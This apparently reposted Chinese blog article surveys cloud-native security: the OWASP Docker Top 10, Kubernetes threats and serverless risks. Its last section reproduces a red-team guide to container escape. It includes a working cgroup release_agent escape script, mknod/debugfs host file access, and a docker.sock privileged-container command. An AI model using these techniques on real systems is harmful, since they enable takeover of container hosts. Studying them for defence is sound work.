1 云原生介绍

不同组织对云原生有不同的解释:

云原生概念最早出现于2010年,Paul Fremantle的一篇博客中提及一种架构,其中包括:分布式、松散、自服务、持续部署与测试。

2015年Pivotal公司的Matt Stine在《迁移至云原生应用架构》一书中又对云原生应用架构做了一些定义,如符合12因素应用、面向微服务架构、自服务敏捷架构 、基于API的协作与高脆弱性。

2018云原生计算基金会CNCF正式对外公布了云原生的定义v1.0版本:云原生技术有利于各组织在公有云、私有云和混合云等新型动态环境中,构建和运行可弹性扩展的应用。云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式API。

首先来看一下IT的数字化转型:“三阶段两转变

随着云计算的不断迭代,云计算资源的抽象颗粒度也越来越细化,从传统的以计算资源为视角的虚拟机技术发展为以应用为视角的容器和Serverless(无服务)虚拟化技术。

云原生实质上是一种软件架构设计的思想,对应用架构进行变革,最大化的利用云提供的分布式、松耦合、弹性、敏捷、易扩展与可靠等能力。

 2 云原生安全

云基础设施带来巨大价值的同时也产生了新型的基于云原生基础设施特性的安全挑战。

2.1 容器风险

OWASP Docker top 10:

标题

描述

D01 -安全用户映射

容器中的应用程序使用默认的管理权限运行:root。这违反了最小特权原则,如果攻击者设法突破应用程序进入容器,他就有更大的权限进一步扩展他的活动。从主机的角度来看,应用程序永远不应该以root用户身份运行。

D02 -补丁管理策略

容器中的主机、容器技术、编排解决方案和最小操作系统映像会有安全漏洞。如果漏洞是已经被披露的,及时解决这些错误对您的安全状况至关重要。对于提到的所有这些组件,您需要在将它们投入生产之前决定何时应用常规补丁和何时应用紧急补丁。

D03 -网络分段和防火墙

你需要提前设计好你的网络。来自编排工具的管理接口,尤其是来自主机的网络服务是至关重要的,需要在网络级别进行保护。还要确保所有其他基于网络的微服务仅向该微服务的合法消费者公开,而不是向整个网络公开。

D04 -安全默认值和强化

根据您选择的主机和容器操作系统以及编排工具,您必须注意不要安装或启动不需要的组件。此外,所有需要的组件都需要正确配置和强化。

D05 - 维护安全上下文

将一台主机上的生产容器与其他阶段的未定义或不太安全的容器混合在一起,可能会为您的生产打开后门。此外,例如在一台主机上混合前端和后端服务可能会产生负面的安全影响。

D06 -保护密钥

针对对等方或第三方的微服务的认证和授权需要提供密钥。对于攻击者来说,这些密钥可能使他能够访问您的更多数据或服务。因此,任何密码、令牌、私钥或证书都需要得到尽可能好的保护。

D07 - 资源保护

因为所有容器共享相同的物理CPU、磁盘、内存和网络。这些物理资源需要得到保护,以便单个容器失控(有意或无意)不会影响任何其他容器的资源。

D08 - 容器图像完整性和来源校验

容器中的最小操作系统运行您的代码需要是可信的,从起点开始直到部署。您需要确保所有的传输和镜像都没有被篡改。

D09 -遵循不变的范例

一旦设置和部署完毕,容器镜像通常不需要写入它们的文件系统或挂载的文件系统。在这些情况下,如果以只读模式启动容器,您会获得额外的安全好处。

D10 -日志

对于您的容器镜像、编排工具和主机,您需要记录系统和API级别的所有安全相关事件。所有日志应该是远程的,它们应该包含一个共同的时间戳,它们应该是防篡改的。您的应用程序还应该提供远程日志记录。

2.2 容器编排风险

威胁1:来自未经批准或公共注册的容器图像可能会受到损害

威胁2:使用了具有已知远程代码执行漏洞的容器映像

威胁3:暴露的 API 服务器允许控制 K8s 集群

威胁4:可以通过端口暴露或可利用的条件直接访问主节点的主机操作系统

威胁5:从 etcd 中获取的未加密的秘密包含加密密钥、数据库凭证、API 密钥或其他敏感的密钥材料或容器服务的身份验证数据

威胁6:暴露的 kubelet 允许工作节点控制

威胁7:Kube-proxy 存在认证绕过漏洞或启用匿名访问

威胁8:允许容器或 pod 提升权限,导致主机访问

威胁9:容器运行时中的漏洞导致容器突破和访问主机系统

k8s加固:简介 · Kubernetes 加固指南(美国国家安全局出品)- Jimmy Song 

2.3 Serverless(无服务器)风险

Serverless作为一种新型的云原生技术有诸多优点但同时也存在不少安全风险。由于Serverless承载的应用,同样存在OWASP相应的安全风险,如注入攻击、跨站攻击与DDos等攻击。开发者在开始应用时也会使用第三方依赖库,此时就面临了第三方依赖库漏洞的风险。再如访问权限的风险,由于配置错误Serverless函数具有对数据读写访问权限,导致对数据库的攻击,甚至出现数据泄露的风险。

3 云原生安全下攻防视角 

这里摘抄一下腾讯蓝军高级安全研究员的云原生攻击模型和基本思路,红蓝对抗中的云原生漏洞挖掘和利用。

3.1 单容器环境内的信息收集

当我们获取了一个容器的shell,可以执行 cat /proc/1/cgroup

从 CGroup 信息中,不仅可以判断我们是否在容器内,也能很方便判断出当前的容器是否在 Kubernetes 的编排环境中。

没使用Kubernetes的docker容器,其cgroup信息长这样:
12:hugetlb:/docker/9df9278580c5fc365cb5b5ee9430acc846cf6e3207df1b02b9e35dec85e86c36

而使用Kubernetes的默认长这样:
12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/e8fb379159f2836dbf990915511a398a0c6f7be1203e60135f1cbdc31b97c197

同时,这里的CGroup信息也是宿主机内当前容器所对应的CGroup路径,在后续的多个逃逸场景中获取 CGroup 的路径是非常重要的。

其他信息收集命令:

ps aux
ls -l .dockerenv
capsh —print
env | grep KUBE
ls -l /run/secrets/Kubernetes.io/
mount
df -h
cat /etc/resolv.conf
cat /etc/mtab
cat /proc/self/status
cat /proc/self/mounts
cat /proc/net/unix
cat /proc/1/mountinfo

其中 capsh —print 获取到信息是十分重要的,可以打印出当前容器里已有的 Capabilities 权限; 

但是,容器的 SHELL 环境里经常遇到无法安装新工具,且大部分常用工具都在镜像里被精简。这时理解工具背后的原理并根据原理达到相同的效果就很重要。以 capsh 为例,想要获取当前容器的 Capabilities 权限信息,可以先 cat /proc/1/status 获取到 Capabilities hex 记录之后,再使用 capsh —decode 解码出 Capabilities 的可读字符串即可。

3.2 容器网络

 容器技术所构建起来的是全新的内网环境,特别是当企业引入服务网格等云原生技术做服务治理时,整个内网和IDC内网的差别就非常大了。

当我们获取Kubernetes集群内某个容器的shell,默认情况下我们可以访问以下几个内网里的目标:

  • 相同节点下的其它容器开放的端口
  • 其他节点下的其它容器开放的端口
  • 其它节点宿主机开放的端口
  • 当前节点宿主机开放的端口
  • Kubernetes Service 虚拟出来的服务端口
  • 内网其它服务及端口,主要目标可以设定为 APISERVER、ETCD、Kubelet 等

使用 masscan 和 nmap 等工具在未实行服务网格的容器网络内进行服务发现和端口探测和在传统的IDC网络里区别不大。

若Kubernetes集群使用了服务网格,其中最常见的就是 istio,此时服务网格下的内网和内网探测手法变化是比较大的。 

 使用 探测主机存活,编写应用层判断逻辑判断端口开放和服务指纹
nmap_rename -p 17 -iL all_ip_in_k8s.txt -sO -Pn (no work for service) / goistio_scan -iL nmap.output

3.3 逃逸

本质上容器内的进程只是一个受限的普通Linux进程,容器内部进程的所有行为对于宿主机来说是透明的,这也是众多容器EDR产品可以直接在主机或SideCar内做容器运行时安全的基础之一。

可以很容易在宿主机用 ps 看到容器进程信息:

容器逃逸的过程是一个受限进程获取未受限的完整权限,又或某个原本受Cgroup/Namespace限制权限的进程获取更多权限的操作,更趋近于提权。

以目标“获取宿主机上的配置文件”为例,以下几种逃逸手法:

  1. mount /etc + write crontab
  2. mount /root/.ssh + write authorized_keys
  3. old CVE/vulnerability exploit
  4. write cgroup notify_on_release
  5. write procfs core_pattern
  6. volumeMounts: / + chroot
  7. remount and rewrite cgroup
  8. create ptrace cap container
  9. websocket/sock shell + volumeMounts: /path

1)privileged 容器内 mount device

 使用privileged特权容器是业界最常见以及最广为人知的逃逸手法,对容器安全有一定要求的产品一般都会严格限制特权容器的使用和监控。

privileged特权容器的权限其实有很多,所以也有很多不同的逃逸方式,挂载设备读写宿主机文件是特权容器最常见的逃逸方式之一。

当你进入 privileged 特权容器内部时,你可以使用 `fdisk -l` 查看宿主机的磁盘设备:

 如果不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载的。

因此,在特权容器里,你可以把宿主机里的根目录 / 挂载到容器内部,从而去操作宿主机内的任意文件,例如 crontab config file, /root/.ssh/authorized_keys, /root/.bashrc 等文件,而达到逃逸的目的。

 2)攻击 lxcfs

 lxcfs 的场景和手法应该是目前业界HIDS较少进行覆盖的。

lxcfs: Linux Containers - LXCFS - Introduction

假设业务使用 lxcfs 加强业务容器在 /proc/ 目录下的虚拟化,并使用 `lxcfs /data/test/lxcfs/` 修改了 data 目录下的权限。以此为前提,我们构建出这样的 demo pod:

 1、首先在容器内,蓝军需要判断业务是否使用了 lxcfs,在 mount 信息里面可以进行简单判断,当然容器不一定包含 mount 命令,也可以使用 cat /proc/1/mountinfo 获取

 2、此时容器内会出现一个新的虚拟路径:

3、更有趣的是,该路径下会绑定当前容器的 devices subsystem cgroup 进入容器内,且在容器内有权限对该 devices subsystem 进行修改。

使用 echo a > devices.allow 可以修改当前容器的设备访问权限,致使我们在容器内可以访问所有类型的设备。

4、如果跟进过 CVE-2020-8557 这个具有Kubernetes特色的拒绝服务漏洞的话,应该知道 /etc/hosts, /dev/termination-log,/etc/resolv.conf, /etc/hostname 这四个容器内文件是由默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号ID。

5、我们可以使用 mknod 创建相应的设备文件目录并使用 debugfs 进行访问,此时我们就有了读写宿主机任意文件的权限。

这个手法和利用方式不仅可以作用于 lxcfs 的问题,即使没有安装和使用 lxcfs,当容器为 privileged、sys_admin 等特殊配置时,可以使用相同的手法进行逃逸。

 3)创建 cgroup 进行容器逃逸

privileged 配置可以理解为一个很大的权限集合,可以直接 mount device 并不是它唯一的权限和利用手法,另外一个比较出名的手法就是利用 cgroup release_agent 进行容器逃逸以在宿主机执行命令,这个手法同样可以作用于 sys_admin 的容器。

shell 利用脚本如下(bash 脚本参考: https://github.com/neargle/cloud_native_security_test_case/blob/master/privileged/1-host-ps.sh):

#!/bin/bash

set -uex

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

sleep 2
cat "/output"

 其中 host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`  的做法经常在不同的 Docker 容器逃逸 EXP 被使用到;如果我们在漏洞利用过程中,需要在容器和宿主机内进行文件或文本共享,这种方式是非常棒且非常通用的一个做法。

 其思路在于利用Docker容器镜像分层的文件存储结构(Union FS),从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径;则对该路径下的文件操作等同于对容器根目录的文件操作。

另外一个比较小众方法是借助上面 lxcfs 的思路,复用到 sys_admin 或特权容器的场景上读写宿主机上的文件。

1、首先我们还是需要先创建一个 cgroup 但是这次是 device subsystem 的。
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/

2、修改当前已控容器 cgroup 的 devices.allow,此时容器内已经可以访问所有类型的设备, 命令: echo a > /tmp/dev/docker/b76c0b53a9b8fb8478f680503164b37eb27c2805043fecabb450c48eaad10b57/devices.allow

3、同样的,我们可以使用 mknod 创建相应的设备文件目录并使用 debugfs 进行访问,此时我们就有了读写宿主机任意文件的权限。
mknod near b 252 1
debugfs -w near

4)特殊路径挂载导致的容器逃逸

这类的挂载很好理解,当例如宿主机的内的 /, /etc/, /root/.ssh 等目录的写权限被挂载进容器时,在容器内部可以修改宿主机内的 /etc/crontab、/root/.ssh/、/root/.bashrc 等文件执行任意命令,就可以导致容器逃逸。

docker run -it -v /:/tmp/rootfs ubuntu bash

 (1)Docker in Docker

 其中一个比较特殊且常见的场景是当宿主机的 /var/run/docker.sock 被挂载容器内的时候,容器内就可以通过 docker.sock 在宿主机里创建任意配置的容器,此时可以理解为可以创建任意权限的进程;当然也可以控制任意正在运行的容器。

场景举例:

存在于 Serverless 的前置公共容器内
存在于每个节点的日志容器内

如果你已经获取了此类容器的 full tty shell, 你可以用类似下述的命令创建一个通往母机的shell。

./bin/docker -H unix:///tmp/rootfs/var/run/docker.sock run -d -it —rm —name rshell -v “/proc:/host/proc” -v “/sys:/host/sys” -v “/:/rootfs” —network=host —privileged=true —cap-add=ALL alpine:latest

5)SYS_PTRACE 安全风险

当 docker 容器设置 —cap-add=SYS_PTRACE 或 Kubernetes PODS 设置 securityContext.capabilities 为 SYS_PTRACE 配置等把 SYS_PTRACE capabilities 权限赋予容器的情况,都可能导致容器逃逸。

这个场景很常见,因为无论是不是线上环境,业务进行灾难重试和程序调试都是没办法避免的,所以容器经常被设置 ptrace 权限。

使用 capsh —print 可以判断当前容器是否附加了 ptrace capabilities。

 这里的利用方式和进程注入的方式大致无二,如果是使用 pupy 或 metasploit 维持容器的shell权限的话,利用框架现有的功能就能很方便的进行注入和利用。拥有了该权限就可以在容器内执行 strace 和 ptrace 等工具。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐